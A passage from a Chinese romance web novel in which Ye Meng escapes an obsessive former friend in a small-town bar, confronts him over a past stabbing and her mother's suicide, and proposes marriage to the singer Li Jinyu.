半分钟后,隔间门缓缓打开,叶濛已经换上李靳屿刚刚不知道从哪儿丢过来的一套女士嘻哈摇滚风,鸡零狗碎的链条捆得她感觉自己像是挂在晾台上风干的腊肉,配合着丁零当啷的一身浮夸的琐碎首饰,全然就是个摇滚小太妹。
刚开条门缝,李靳屿故意往窗外看了眼,程开然下意识被他视线不由自主地带过去,居然瞥到窗外的停车场里有道熟悉的身影,压根都没往隔间里看,拔腿箭步冲出去,匆匆丢下一句:“打扰兄弟好事,对不住,算我欠你一人情。”
-
等程开然的车一无所获地开出停车场。
叶濛才在厕所跟一位身形和身高都同自己差不多的姑娘换回装束。姑娘叫乔麦麦,没有夸张的一头绿毛蓝毛,模样长得精致,一双眼睛乌溜溜的跟李靳屿莫名有点像,不过两人气质差太多,乔麦麦是很明显的小镇姑娘,普通话也不太标准,带有地方口音——
“刚刚真是吓死我咯,开哥抓着我的时候,眼睛像是要吃人,你到底怎么得罪他的呀?要不是我知道酒吧有条小路通往女厕所的后面。你今晚就死定了。他刚都打了好几个电话又叫了一帮小弟上来说要把这个酒吧翻个底朝天也要把你找出来。所有门都被人堵了,连只苍蝇飞出去都被一巴掌打下来。老板都气得不行。还好我哥今天在。”
叶濛听得也是心惊肉跳,这程开然比她想象的还要偏执:“老板这都没报警吗?”
“报什么警,”乔麦麦像是听到一个天大的笑话,“开哥跟警察的关系也不错的,而且,开哥这人报复心很重,老板要是报警了,他天天找人来砸场子,谁敢得罪他。”
叶濛靠着刚才李靳屿靠着的洗手池,慢慢扣上扣子:“所以刚才是怎么回事?”
乔麦麦长得倒是眉清目秀,说话声音就很低沉,带点烟嗓,表情也就是天真活泼的小姑娘,只是跟声音有些反差:“刚刚我哥把你的衣服丢到窗外,我换上之后就在停车场等,等到隔板门一开我就冲出去,引开开哥的注意力。开哥这么笨的人,看到我穿着之前他看到的那套衣服,一定会冲出来追我。”
叶濛微微蹙眉,乔麦麦似乎知道她要说什么,“开哥这人笨归笨,但是疑心特别重,如果你不开门,他追出来发现我不是你之后,肯定还会回来找你。因为你在里头那么久都不开门,他肯定以为你有鬼,我哥就只能装成是跟你在里面……彻底打消你这么久不开门的疑虑,最后你又大大方方开了门,开哥其实心里就对你打消了疑虑。我出去的时候他
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铁定朝着我来了,等确定我不是,他才会放心的带人离开。我哥说他这人就是这样,特别喜欢抓别人的心理。”
“你哥跟程开然关系很好?”
“也不算好,就是我哥这人吧,跟谁都那样。没什么好不好的,”乔麦麦穿好她身上最后的零碎,一脸狐疑地看着她:“咦,你怎么不问我,为什么我在停车场能知道隔板门什么时候开呢,按理说,女厕所的隔板门往里开,停车场那边是看不见的。”
叶濛环手抱在胸前,靠着洗手池等她换完:“用镜子跟车后视镜的折射,就能看见了。”
“哇,你跟我哥一样聪明。我当时还想了好久。”乔麦麦说。
叶濛:“初中物理知识。”
乔麦麦:“是吗?我怎么不记得。”
“所以,你们为什么这么大费周章的帮我?”
乔麦麦对着镜子开始编她的摇滚小辫,“我哥说你很有钱,会给我们钱。”
叶濛此刻有种上了贼船的感觉:“哪里看出来我很有钱?”
“别以为我们不识货,你这个包至少得两万。”乔麦麦瞥了眼她腰间那个连装手机都费劲的包。
其实才一万多,叶濛找的意大利代购,而且买了也有好几年了。这些年在北京,别的没怎么学会,有时候为了撑场面,奢侈品倒是买了不少。
“那你们要多少钱?”叶濛问。
“一次一千。”
很好,这是个兄妹联合诈骗团伙。叶濛心有不甘,她又没真睡他!
乔麦麦三下五除二把头顶上的小辫子打完了,又慢吞吞给自己脸上补了一层粉,告诉她:“我哥这次损失太大了,大家现在都觉得我哥是爱约/炮的渣男,刚还有妹子给他塞纸条问他约不约。一千都是看在雅恩姐的面子上,给你打折了。”
叶濛以为自己听错了,诧异:“你还认识方雅恩?”
乔麦麦显然不是太会化妆,妆容浮夸,腮红打得比猴子屁股还浓,一身挂满叮当作响的首饰,远看就像一个打折的圣诞豪华披萨饼。
她满意地对着镜子抿唇:“怎么不认识,你是雅恩姐的闺蜜嘛,我姨奶奶跟雅恩姐是隔壁床,那小胖是我亲哥,李靳屿是我表哥。要不是雅恩姐怕你今晚有麻烦,打电话给我哥,他才懒得管这些闲事呢。”
叶濛哼唧一声:“那你哥为什么要听方雅恩的话啊?”
“因为雅恩姐说你要是被程开然逮到了,她就要带我姨奶奶去抽大烟。”
“……”
-
酒吧开始正常营业,人渐渐多起来,吧台、舞池中央散散坐着一堆人,五彩灯在顶上散着迷离四射的光,耳蜗回荡着靡靡之音,让人意识混沌。叶濛不是太喜欢这种地方,太糜烂。她虽然现在没什么拼劲,但好歹也曾是个斗志昂扬的北漂青年。
她在人堆中,一眼找到李靳屿。此刻他的黑衬衫倒是扣得一丝不苟,连喉结都封得死死的,叶濛隔着老远看见他勾着背坐在吧台边上,后背微微一颤一颤,走进才听出他在咳嗽。
叶濛抽走他的酒杯,一屁股在他边上坐下。
察觉到动静,李靳屿抬头,扫她一眼,没什么情绪地低下头,继续玩游戏,好像是密室逃脱之类的手游,修长、骨节分明的手指在屏幕上滑动,满屏随意划拉,玩得也挺不认真的。
刚那个钥匙为什么不捡啊,可以开酒柜上的宝箱,宝箱里有个密码提示可以开卷书柜的锁。
这个游戏第一季叶濛年前就全部通关了。
李靳屿做什么都给人一种不认真的感觉。她如果是个学渣,他估计就是个连渣渣都算不上的学沫。
见他没有主动开口的意思,叶濛敲了敲他面前的桌板。
李靳屿不知道从哪儿捡到一张地图,眼睛盯着屏幕地图慢悠悠地看,头也不抬:“有事就说。”
叶濛斟酌开口,“我今天其实是来道歉的,江露芝——”
李靳屿直接打断,压根不想听,“哦,知道了,还有别的吗?”
“加个微信,我把钱给你,今晚的服务费。”
李靳屿莫名其妙看了她一眼,“什么服务费?”
“乔麦麦说,今晚帮忙,一千。”
李靳屿在游戏里终于捡了钥匙,去开宝箱,懒洋洋说:“别搭理她,你给她买束花就行。”
“那你呢?我不喜欢欠别人人情,而且听说你今晚牺牲很大——”
话音刚落,旁边又有人朝着李靳屿的酒杯底下放了一张小纸条,李靳屿看都没看,漫不经心抿了口酒,旁边一堆类似的小纸条。他都没打开过,沉迷在他的密室里。他其实有点狗狗眼,一双干净的眼珠让人格外怜惜。但眉眼低垂时,全身上下只剩下冷漠。
叶濛悄悄抽了两张纸条,打开看了眼。
——1587823xxxx,随叫随到,打电话给我哦。
——小屿哥,约吗?
叶濛当时可能疯掉了,也可能是内疚。她突然说:
“李靳屿,你要不要跟我谈恋爱试试,我比江露芝靠谱。”
7. 第六章
他们面对吧台并排坐着,酒吧幽暗,音乐换了首暧昧的抒情曲,甜言蜜语流在耳畔,回首一望,全是激情四射的交颈男女。他们这种清汤寡水的对话简直一股清流,未免跟这糜烂的氛围显得有些格格不入。
“好啊。”
叶濛只觉得耳蜗发紧,仿佛也踏入寻欢作乐的节奏,男人答应同她出去睡一觉那般。
然而李靳屿连头都没抬,表情漫不经心,那眼睛就跟长在手机上似的,很随性地答应下来,完全就是一副浪荡子的模样,来者不拒。
李靳屿的长相属于越看越耐看类型的。叶濛起初倒没觉得有多特别,也不知道是看顺眼了呢,还是她之前对他的性子带有偏见就没太注意看。她发现他完完全全是照着她心里的理想型弟弟长的。仿佛就照着她心底的帅哥图一笔一划勾勒出来的,没有一笔走偏,笔笔到位。这种契合度,整容都达不到这么完美。
可就是这性子,她实在不喜,还需管教。不过方雅恩说得对,她可以养成。毕竟这五官和长相,几乎绝种了。
酒吧这种地方就是容易刺激人的荷尔蒙,耳蜗嗡嗡作响。
于是她面无表情地又问了句:“或许,你喜欢直接结婚吗?”
李靳屿一愣,表情里都是诧异,两秒后就恢复那散漫不拘的态度,笑笑:“你们这些姐姐都这么恨嫁吗?”
叶濛被这声姐姐打乱了思路。接下去本来要说的话,瞬间飞到云海之外,只问:“你原来真比我小?”
“我93,”李靳屿说,“我知道你91的。”
“方雅恩告诉你的?”
叶濛觉得有必要把方雅恩的嘴缝起来。
李靳屿埋头在手机里找线索,心不在焉地说:“你那天替她交手术费的时候,拿错自己社保卡,柜员输了两遍你才换回来,我当时在你后面。”
叶濛仔细回想,那天他好像是在后面,转头又想起来:“可是,你前一天晚上,不是已经续过费了吗?在电梯口,我告诉你江露芝的事。”
“干嘛?怀疑我对你有意思?”李靳屿一脸无语,“医院给老太太换了一种药,我去问问医保能不能报而已。”
叶濛一瞬不瞬地盯着他,他估计被问烦了,眉头紧紧拧着川字。
酒吧人来人往,时不时有人跟他搭讪,李靳屿坐在吧台的高脚椅上,一条长腿松松垮垮地搭到地面,他把手机一锁,丢在吧台上,没心思玩了,仰头活动了下脖子,无奈地说:“我不结婚。你要是真这么恨嫁,出门左转,那边有婚介所。我对你们这些姐姐没兴趣,我喜欢比我小的,最好是好骗又乖,拿的出手,回家还能暖床的。懂吗?”
“李靳屿,”叶濛恍若未闻,自顾自发问,“你今晚是不是故意的?”
“嗯?”他酒杯刚举到面前,眉骨微微一拧。
“你今晚闹这一出,是不是故意的?你明明知道这镇小,流言蜚语多,你还这么弄,你别说结婚,你以后想正经找个女朋友恐怕都没那么容易,”叶濛将手上这些写满号码和污言秽语的纸条推过去,眼神笔直地盯着他,戳穿道:“咱俩什么交情?我不相信你这是为了我。你压根就是故意的。”
李靳屿眼神冷淡下来,表情恹恹地懒散道:“你这是过河拆桥?既然这样,还是把钱转我。”
“钱我会转给你妹妹,但我现在就想知道一件事。你这么做是想气死你奶奶呢,还是气死谁?你是在跟谁赌气吗?你认为那个人会在乎吗——”
“跟你有关系吗?”李靳屿冷冷看着她说道,仿佛被人戳了痛脚,那些似是而非的散漫,在这个女人面前,似乎全都是空,她能看到他的不安和挣扎。
叶濛莫名笑了下,她眼神忽然柔和下来,轻轻地说,像在询问又或者是建议:“李靳屿,你有没有去看过心理医生?”
李靳屿整个人僵住,身上的线条更加清晰明显,睫毛微微下沉,眼神在昏暗的灯光下异常阴郁,那眼里的不安湖水,此刻似乎被她搅动。
叶濛从包里掏出一张名片,此刻她眼里只有这个男人:“你听过一句话吗?无底深渊,往下,也是前程万里。我就直白说了,不管你以前在别的女人那里受过什么伤害,在我这,我只会拿你当宝贝。你要想好了,就来找我,我能帮你。不管你曾经经历过什么。”
-
叶濛从小在特殊家庭长大,三个姑姑都不会生,全家上下拿她当独一无二的宝贝。所以得到的爱太多,她喜欢分享,谈恋爱绝对是付出最多的那个,她喜欢照顾人,不喜欢被照顾,当然,也不喜欢太粘人的。她说情话的时候浓情蜜意,但甩人的时候也挺无情的。
所以方雅恩听到的时候,神魂一颤,筷子惊掉,她匆忙拿纸巾掸干净,说:“你非得挑我吃饭的时候说这种重磅消息吗?”
“这不是趁老太太去检查嘛。”叶濛靠在椅子上,百无聊赖地抛着手中的苹果。
“你这脸打得也太快了,你昨天还说不可能找江露芝的前男友。”
叶濛嘎嘣要一口苹果,慢条斯理的嚼:“是这么说过,此一时彼一时,人不可能一成不变嘛,平时都没认真看他,昨天在酒吧认真看了看,长得完全在我的点上,没见过这么符合我的审美的,又乖又欲。这种极品错过我还是女人嘛?而且换个角度想想,小江压了我这么多年,我把她前男友弄到手,不也翻本了?反正我也就是喜欢他的脸嘛……让江露芝占点便宜呗,不知道他俩亲过没。”
方雅恩一直都很理解叶濛的脑回路,她属于想起一出是一出,跟她交往最好的办法就是保持三分清醒,不然随时会被她哄得不知天高地厚,摔得血肉模糊。她认真提醒了一句:“你最好别给我整出什么乱七八糟的幺蛾子。”
“能有什么幺蛾子,”叶濛懒洋洋问,“对了,程开然的事怎么说了?”
“他那个猪脑子能怎么说,反正
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你这几天少出门,回家呆着。等我出院我找他谈。”
“好。”
叶濛之后消失了几天,医院也有些日子没去。
方雅恩给她发微信也半天才回。问她在干嘛,她半天才大剌剌回:堵程开然。
方雅恩直接炸毛了,二话不说一个电话彪过去,“你疯了?不是让你等我出院再说吗?!”
叶濛跟了程开然几天,掐准了他吃喝拉撒上班的时间,这个点,他会在游戏厅。于是这会儿,叶濛正百无聊赖地靠在程开然娱/乐城楼下的路灯上盯梢,打扮严丝合缝的。里头一个鸭舌帽,外头还罩了个卫衣帽,漫不经心说:“你老公不是不喜欢就你跟他们来往吗?不然被你婆婆知道又有的说了,我既然决定留下来了,我也不能老躲着他呀,程开然顶多揍我一顿,没事,这事儿我自己想办法。”
程开然千算万算,没有算到,叶濛会主动找上门。
娱/乐城三楼是游戏厅,周末人山人海,全是穿校服的学生,生意红火。跳舞毯那边里三外三围了一圈中学生,发出阵阵轰雷般的喝彩声。中间有个节奏感极好的姑娘,戴着鸭舌帽,穿着件白色卫衣。动作潇洒自如,力度适中,卡点尤其准,直接破了霸屏多年的记录。旁边是一溜的尖叫声,导致程开然有一瞬间的晃眼,仿佛看见了上高中时的叶濛。
一曲完毕,姑娘在起哄声中下台,满额的汗,一抬眼,就看见了程开然站在人群后面,眼神迷离。
叶濛神态自如地冲他打了个招呼,权当是巧遇,“开开,这么巧。”
她故意这样叫他,程开然心神一抖,仿佛又回到高中那年,他们三人打游戏上网,夜里在小河边抓青蛙数星星的日子。
程开然发觉她好像什么都没变,还是当年那个天不怕地不怕对什么都满不在乎的小姑娘,他神魂飞到天山外,眼睛却死死盯着她,生怕她一转眼就消失,可偏偏喉咙像被石子堵,什么话都蹦不出来。他怀疑自己当初是不是看错了,她其实并没有跟他绝交。
叶濛拿手在他面前晃了晃,“程开然?”
直到李靳屿拍了拍程开然的肩,他才仿佛被重新注入了灵魂,有了气息,“哦,叶濛。”
叶濛是没想到李靳屿在,自那晚之后,两人便没再见过,此刻旁边正跟着一个看着便又乖又好骗的女孩子,好像还是个高中生。那真是绝顶的好骗。
叶濛视线没往李靳屿身上停留,她定定看着程开然,笑了下,“我回来这么久,方雅恩一直催我请你吃个饭,正好碰上,今天有时间吗?”
她笑得无辜又坦荡,程开然全然着了魔,鬼使神差地说:“有。”
地点是叶濛提前就选好的,程开然建议说去他的酒馆,被叶濛礼貌的拒绝了,她把定位给司机,李靳屿坐在副驾淡淡扫了眼。
紫荆花酒店。
距离公安局两百米。
李靳屿突然低头笑了下。
8. 第七章
程开然这人是极端要面子却又自卑的心态。他从高中那时起在叶濛身边就很自卑,觉得这女孩子漂亮大方,打游戏厉害跳舞又好,身边喜欢她的男生一大把,自己这个连高中都没上过的外地小混混压根在她眼里连屁都不算。高中时的叶濛虽然看起来没脸没皮、吊儿郎当,对谁都好,尤其对小弟弟,格外照顾。
所以尽管程开然现在混成小老大。看见叶濛他还是不免会自卑,时间一长,这种自卑就会形成一种变态的心理,觉得这都是叶濛欠他的。见不到叶濛那几年,他几乎日日想,夜夜想,做梦发疯都在想,一定要报复她的狠心以及这么多年对他的无视。
他觉得叶濛应该是心虚的,所以一直在躲他,这么多年,一次都不曾找过他。然而现在叶濛大大方方地出现在他的面前,表现如此自然,如此意外,仿佛他们不曾绝交,她不曾放弃他。
程开然便措手不及。他不知道叶濛究竟是怎么想的,这么多年的恨,似乎在她一个轻描淡写的笑里,全然土崩瓦解。这便是暗恋,喜欢到他甚至比她更清楚地记得,每一个曾经喜欢过她的男孩。
程开然心里乱七八糟地想。叶濛倒是镇定自若地坐在一边点菜,点完一看。全是程开然爱吃的。程开然比她小三岁,知道她确实一直都挺会照顾人的,就看她有没有心了。
服务员显然与她相熟,末了还笑眯眯地询问:“今天不放辣?”
叶濛笑了下,“不用,我朋友不吃辣。”
程开然心肝一颤,这么多年她居然还记得,虽然李靳屿也不吃辣,但程开然觉得叶濛目前同他是八竿子打不到一块。
李靳屿从进门就脱了外套随手挂在椅背上,低着头玩他的手机密室。视对面的美女为无物,就知道叶濛这种漂亮姐姐应该也不是他的菜。程开然跟李靳屿不是太熟,李靳屿这人就是这样,跟谁都熟不起来,看起来随性散漫,但就莫名给人一种距离感。但程开然太清楚了,李靳屿这长相,绝对是叶濛会喜欢,她从小喜欢的都一个类型。
叶濛从容地给身旁的小姑娘倒了杯水,下巴冲对面一言不发却格外引人注意的李靳屿轻轻一点,意味深长道:“男朋友?”
小姑娘很怯生,红着脸,嗫喏着说话都要看一眼一旁的程开然和李靳屿。
程开然出声打断,“别调戏小姑娘,这我妹。这她男朋友。”
李靳屿下意识抬头瞧了眼程开然,倒也没说什么便重新解他的密室去了。
叶濛略微讶异,“高中生?”
小姑娘这才弱弱出声:“姐姐,我大学生啦。”
“是吗?”叶濛笑笑,“长得很显小呀,看着像高中没毕业的。在哪读大学?”
“中南大学。”小姑娘脸上终于浮现一丝自信。
“985呢,不错啊,”叶濛看了眼程开然,开玩笑道:“不是亲妹吧?”
小姑娘要解释,被程开然再次打断,“你找我做什么?”
程开然还不傻,叶濛是什么德行,他太清楚,刚刚被她一时的示好给拢住了理智,这会儿冷静下来,理智回潮,仔细想想便也知道今天这局巧遇有些莫名。更何况,那个跳舞机还是他们初遇时的场景。
早年□□的跳舞机很简陋,但叶濛尤其热爱,下课大部分时间全耗在这。程开然第一次见到她就是在那台跳舞机上,她跟一个染着黄毛的男孩在刷分,弄得整个游戏厅的人全围过去。在这一带,叶濛的名字响当当,爱玩的人几乎都知道。
叶濛早便做好准备,目光直直坦诚地盯着程开然,“聊聊过去的事。”
叶濛没往别处看,双眼特别干净纯粹地就对着程开然。
小姑娘突然就傻眼,不知道怎么气氛忽然急转直下,变得如此紧张。
程开然给自己点了支烟,不置一言。
叶濛手里若有似无地把玩着刚点烟的打火机,镇定自若地看着他:“开开,如果不是你,我妈也不会死,当然我知道这并不怪你,只怪我自己当时为什么没有冲上去替你挡下这两刀。”
程开然倏然转头盯着她!她故意这样说,她故意这样说!
那年大雪天。程开然招惹的社会青年几次三番到叶濛学校去堵她,叶濛考试没考完被老师叫到办公室。习题卷子全是红叉叉,叶濛心烦意乱便给程开然发了一条断交的消息。程开然二话不说跑学校来找她,正巧被那帮埋伏在叶濛学校附近的社会青年逮了个正着。
那年英语高考听力还是提前半年考。程开然被砍,连带叶濛受了伤,导致她没赶上考试,她本来就几门吊儿郎当的课程里唯一一门最好的英语直接废了三十分。叶濛第一年高考不用想也是名落孙山。自那之后在路上碰见程开然,她权当陌生人。最后一次碰见他,便是第二年叶濛复读,程开然被人摁在雪地里打毁了容。
“我妈一直都认为是我害了你,你也知道她有抑郁症,本来负罪感就重,镇上随便三言两语她就能立马割腕,有一个这么玻璃心的母亲,所以后来我不愿意再跟你们来往。她没想到后面又因为这样,导致你脸毁容她一直都认为是她的原因,是她不让我跟你们来往。最后她自杀了。”
叶濛一笑,视线别向窗外:“我妈妈从来没要求我成为多完美的小孩,但她不希望我是别人嘴里的坏小孩,可镇上的人都觉得我是坏小孩。”她无所谓地一笑,“说实话,我这人没什么优点,就是心态好。我无论别人怎么想我,但有件事,我想你应该知道
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。那天,我明明打电话报了警,警察为什么没有找到你?因为你们都不愿意进警察局,我报警后那帮人跑了,你也跟着跑了是不是?后来警察还打电话问我为什么没人,怀疑我报假警。”
叶濛随手捞起桌上刚刚点完单的笔,“如果你非要将这账算在我头上,要不你也在我脸上划两道,咱们这事儿算了了,以后恩怨两清,井水不犯河水。”
听到这,程开然嚯的站起来,“井水不犯河水?叶濛,你就这么讨厌我?”
程开然太了解她了,叶濛的性子对喜欢的人她能宠上天,对不喜欢的人,你就是以死相逼都没用,那时候程开然道上有个小老大很喜欢叶濛,各种示好表白甚至威胁,叶濛压根都没搭理他,招惹了这么一人要换做别的小姑娘大概都吓得不敢出门。当时那小老大甚至还呼前喝后地召集了一帮子兄弟,在学校门口各种摆阵拦人,把学校老师给气得那叫一个鸡飞狗跳,差点让叶濛退学,叶濛何其无辜,她压根都不记得这人谁,最后她直接拎了块大板砖大步流星地走到校门口,毫不犹豫对着脑门一拍,顶着一脑门血不耐烦地对那猥琐兮兮的小老大说:“来,你还喜欢我哪?我都不要了,腿是吗,我等会去锯掉行吗?滚!”
当下听说叶濛要还他这两道疤的时候,程开然是觉得她真能干出这样的事来。
这顿饭到底没吃成,程开然直接被叶濛气到掀桌走人,连妹妹和妹妹的男朋友都忘记带走了。
但程开然不知道的是,叶濛怎么可能真往自己脸上动刀子,年轻时不懂事犯中二时也就算了,现在怎么可能再干这么损人不利己的事。其实也就仗着程开然可能对她还留有余情,加上她料定程开然那窝窝囊囊、怂怂巴巴的性格是绝对不会把喜欢她这件事说出口,最后他只会掀桌走人。
所以这顿饭她本来是料定,就她一个人吃的。但没想到现在还多了两个,气氛显得有些诡异。
叶濛抱臂冷淡地盯着面前这俩自留客:“你们不走吗?”
小姑娘小心翼翼地问她:“能留下吃顿饭吗?有点饿。”
叶濛哑然失笑,看了眼高高的男人,笑眯眯且半开玩笑地说:“那你男朋友就让我咯。”
李靳屿非常无语地从窗外收回视线,盯着她:“你在小孩面前说话也这么口无遮拦吗?”
小姑娘这才说:“他不是我男朋友啦,靳屿哥哥也是跟开哥一样的哥哥。”
叶濛:“是吗,我看他挺想当你男朋友的。”
小姑娘顿时红了脸,“没有啦。”
叶濛笑笑不说话,李靳屿半晌,盯着窗外开口,又开始神情懒散的渣言渣语:“这么听话的妹妹,谁不想当她男朋友啊。姐姐不也喜欢弟弟?”
9. 第八章
叶濛面上笑笑,心里不知在想什么,出奇的没往下接,只淡声问了句,“吃完了吗?吃完我去结账咯。”
欲擒故纵。
李靳屿在心底冷笑,难怪程开然对她又爱又恨。
叶濛结了帐,打了辆滴滴,甚至面面周到地将这两位弟弟妹妹轮番送回家。小姑娘下车的时候对叶濛那叫一个毕恭毕敬,“姐姐,很高兴认识你,谢谢姐姐今晚的饭,姐姐再见。”
叶濛不经心地一笑:“不客气。”
等人走远,她升上车窗,转头问李靳屿,笑得轻佻道:“这位弟弟去哪,回医院?还是?”
李靳屿没什么情绪地扫她一眼,跟司机报出酒吧地址。
叶濛一乐,“去唱歌呀?”
李靳屿没回答,人往后靠,开始闭目养神。
车子重新启动,不慌不忙地开出窄巷,汇入如水的车流中,司机才透过后视镜悄悄打量后座这对男女。一路飞驰的夜景以及忽明忽暗的光从他俩身上鳞次滑过。
其实他俩有些像,同样的散漫,看起来似乎都在虚度时光。只不过,那女孩看起来是享受的,她的心里有一盏明灯。
而那个喉结上有道淡印、戴着耳钉的男人,懒洋洋地阖着眼睛、仰头靠在椅背上,就像一只躲在墙角可怜巴巴的蜗牛,身上背着重重的壳,依旧四处碰壁。他沉溺在晦涩难明的光影里,像是在熬,像是在等一个平凡的结局。
其实从湖边那次偶遇到现在,李靳屿的声音一直都有点哑,有点像树叶摩挲过安静的地面发出的声,显然是声带有些受损没有恢复好就又去唱歌了。
“你很缺钱吗?”叶濛说。
李靳屿靠在椅背上,下颚微微扬起流畅锋利的线条,整个人没动只横斜她一眼很快又闭上眼睛说:“你不缺?”
“我没缺钱到,嗓子都这样了还要去唱歌,”叶濛想起之前小胖提过,他爸死后他妈改嫁,他便跟奶奶相依为命,家里似乎除了小胖和乔麦麦也没见其他亲戚来陪过床,“你奶奶不会靠你养活吧?”
“我奶奶从小身体就不好,只生了我爸一个,我爸死后我妈给了一笔钱,我奶奶没要,把钱全部捐给镇上的孤儿院建楼。”
叶濛稍一迟疑,似乎是没想到他会主动开口说这些。更没想到,隔壁床那个脾气火爆、一犯烟瘾就对李靳屿又打又骂的老太太居然也有这么侠义的一面。不由露出钦佩的表情。
“她只是单纯讨厌我妈。后来生病需要用钱,也腆着脸皮跟孤儿院想要回这笔钱。但人家不搭理她,”李靳屿始终都维持着刚才的姿势,“这次摔折腿,钱还是我借的。”
“你平时都没积蓄么?”
“老太太基础病很多,平时赚的钱,基本上给她买药续命。我哪来存款。”李靳屿终于转头看了眼窗外,留了个后脑勺给她,
叶濛心下有了计较,问:“小胖……,哦不好意思,我是说你的表弟,他大学毕业就在家打游戏不出去找工作吗?”
“他的梦想是当电竞选手。”
叶濛差点以为自己听错,她忍不住掏掏耳朵,又不敢置信地问了遍:“等等,你说什么?”
“你没听错,他是想当电竞选手,对,就他的水平。老太太都打得比他好。”李靳屿给予肯定后,转过头,就着晦暗不明的车厢里,深深地看了她一眼,“记得乔麦麦吗?那天帮你换装的女孩,我妹妹。她的梦想是成为一个摇滚歌手。”
“她唱的怎么样?”
“她唱得非常好,也曾有星探找过她,被骗了五十万。所以至今还在卖唱还债,我需要钱,不仅要帮奶奶治病续命,乔麦麦那五十万还是我帮她借的。”
叶濛自始至终都牢牢盯着他。李靳屿偶尔低头瞥她一眼,两人视线在空中一碰,他便轻轻不着痕迹地避开。
“我有点心疼你。”叶濛说。
李靳屿再次往后靠,头微仰,高高大大的身影几乎要将整个车厢占满,气息浓烈,兀自笑了下,比刚才她的笑容更轻佻:“不用,对于我这样的人来说,你如果真的想帮我,那我就劝你离我远一点,如果你只是想玩玩,咱俩现在改个目的地,我可以陪你玩全套。”
李靳屿显然是对以后没有打算的人。
他跟叶濛不同,叶濛的得过且过至少还知道给自己留点养老钱。他纯粹只是活着。
他用最散漫、不屑一顾的态度在警告叶濛,他就是一滩烂泥,别试图接近他。可叶濛呢,她从小就觉得自己是个披星戴月的英雄,从不怕淤泥溅身。哪怕你是再沉重、再肮脏的污浊,只要是她喜欢的,她都会低下身,把手伸向你。
“我以前小时候啊,”叶濛忽然自顾自说,“下雨天最喜欢踩水坑,我妈不让我踩,说脏。别的小朋友都避着走。我偏喜欢把自己溅得脏脏的,就会觉得,别人不敢接近我,不是因为我哪里没做好,而是因为这泥水。”
叶濛转头看李靳屿,见他仍是盯着窗外,耳钉闪着,半开玩笑地说:“你要不要跟我结婚呀,我的财产分你一半啊。我有一百万,本来是准备在北京买房子的首付钱,反正现在我也不准备回去了。你可以拿五十万给乔麦麦还债,剩下的钱都给你奶奶治病呗。”
李靳屿当下觉得这女人应该是疯了。
叶濛不用瞧他表情都知道他会说什么,立马解释说:“你别误会,我不是什么痴情变态,也没那么喜欢你,我就是烦透了我奶奶到处给我相亲,找的男人还一个比一个老。就当我垂涎你美色吧。你放心,尽管我还没那么喜欢你,但我很宠我男朋友的,不信你问方雅恩。”
这番话听得司机都潸然泪下,感动得涕泗横流,忍不住结结巴巴地张开嘴劝:“姑……姑娘,要……要不你考虑下我儿子……”
李靳屿噗嗤一笑,眼中仿佛有落星,侧头瞧她时嘴角还扬着。
叶濛心想,这人眼睛里的小鹿会挠人。
李靳屿下了车,刚甩上车门,随之又听见嘭一声,叶濛也跟着下来了。酒吧门外有条狭窄的田间小路,李靳屿抄兜往里走,184的身高,一身黑
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色工装风,脚上一双匡威,很随性。表情又恢复了嘲谤:“你下来干嘛?我说了我不结婚。你要想玩玩,随时找我。如果圣母病发作想扶贫,就离我远点。”
叶濛小碎步跟上,二话不说掏出手机,点开某软件,咬着指甲一本正经地搜罗了起来:“行吧,等你唱完歌,咱们找个酒店?”
他脚步微微一顿,没回头,高大的背影立在一旁的路灯下,晚风徐徐刮过,掀翻了盖在马路边的树叶,露出了一只颤颤巍巍连壳都没有的小蜗牛,李靳屿低头盯着看了会儿,随即起步离开,丢下一句,“行。”
李靳屿一进门,那条今天挂着6号牌的小黄狗就迫不及待地扑上来,扒拉着李靳屿那异于常人的长腿,一蹬一蹬似乎要他抱。李靳屿啧啧两声,表情有点嫌弃地揉它下巴,“不抱,多少天没洗澡了你。”
“你都多少天没来了,它想你了呗。”服务员笑眯眯地端着两个还插着柠檬片的酒杯过来,放在门口的吧台上,又说,“小屿哥你嗓子好了呀?”
小黄大概是太兴奋,围着他就是一通尿。李靳屿无奈地嗯了声,“这狗怎么回事?尿失禁?”
“看到你太激动了呗,它太喜欢你了,”服务员解释说,“不过我听你嗓子好像还有点问题,等会给你弄杯菊花茶,今晚人不会太多,你随便唱两首算了。”
话音刚落,叶濛晃晃悠悠从后面走进来,服务员立马堆出标志性的职业微笑,“呀,小屿哥的小粉丝也来啦,正好,小屿哥今晚也在,等会让他多唱几首助助兴。”
李靳屿:“……”
酒吧人不多,叶濛点了杯莫吉托,她盯着酒杯中轻轻晃荡的翠绿薄荷叶,感觉像极了李靳屿,看着干干净净,冷冷淡淡,一尝入嘴,说不出的刺激。
舞池灯灭,五彩灯不再散发着萎靡的光,舞池中央一束白灯猝然打下来。
叶濛其实还没正儿八经听过李靳屿唱歌,他干什么都一副调调,整个人漫不经心地坐在舞池中的高脚椅上,一只脚勾着,一只脚松松地抵在地上。
像什么呢?
叶濛突然想起来,他像勾恺,她的前富家小开老板。他身上的气质,坐姿,都跟勾恺差不多。他腰背其实很直,不是那种刻意地挺拔,他或许只是随便一坐,就直。李靳屿虽然说自己烂到泥里了,可他比勾恺更像富家小开。
他唱的是《大眠》——
“都快忘了怎样恋一个爱,我被虚度了的青春,也许还能活过来,说心疼我的更应该明白,我当然会沉醉个痛快……”
他声音很好听,干净清冽,充盈满耳,一字一字烫着她。
叶濛盯着他。
这时,服务员端着小盘托,弓腰在她耳旁说,“叶小姐,这是小屿哥给您点的酒。”
叶濛蓦然抬头,一杯红艳得像火烈鸟的酒,被轻轻放在她面前。
“什么酒?”
“小屿哥说,”服务员原封不动一字一句重复,“Four,Loko.在中国还有个别称,叫失身酒。”
10. 第九章
Four Loko,四洛克。
美国的网红酒,常年混迹酒吧这种声色场所的男女基本都知道。一般请你喝这种酒的多半是想睡你。其实这酒的酒精度数不高,只有十二度。但口感是果酒,所以很容易下口,连喝几杯都没问题。这是国外渣男专门用来哄骗小女孩一夜情用的。
叶濛不太混酒吧,也没出过国。对这种酒了解不太深。
这么一看,李靳屿全然是个情场老手,如此深谙国内外渣男泡妞套路。叶濛心想,如果他要是正儿八经追一个女孩子,估计没人能招架住。
叶濛坐在舞池外的沙发上,等他唱完。李靳屿下台时,音乐已经换成DJ舞曲,白追光灯揿灭,五彩灯球缓缓在头顶打着旋,整个昏暗的酒吧如同包裹在一个五光十色的糖果壳里,所有人一窝蜂涌进舞池中央,开始昏天暗地的群魔乱舞。
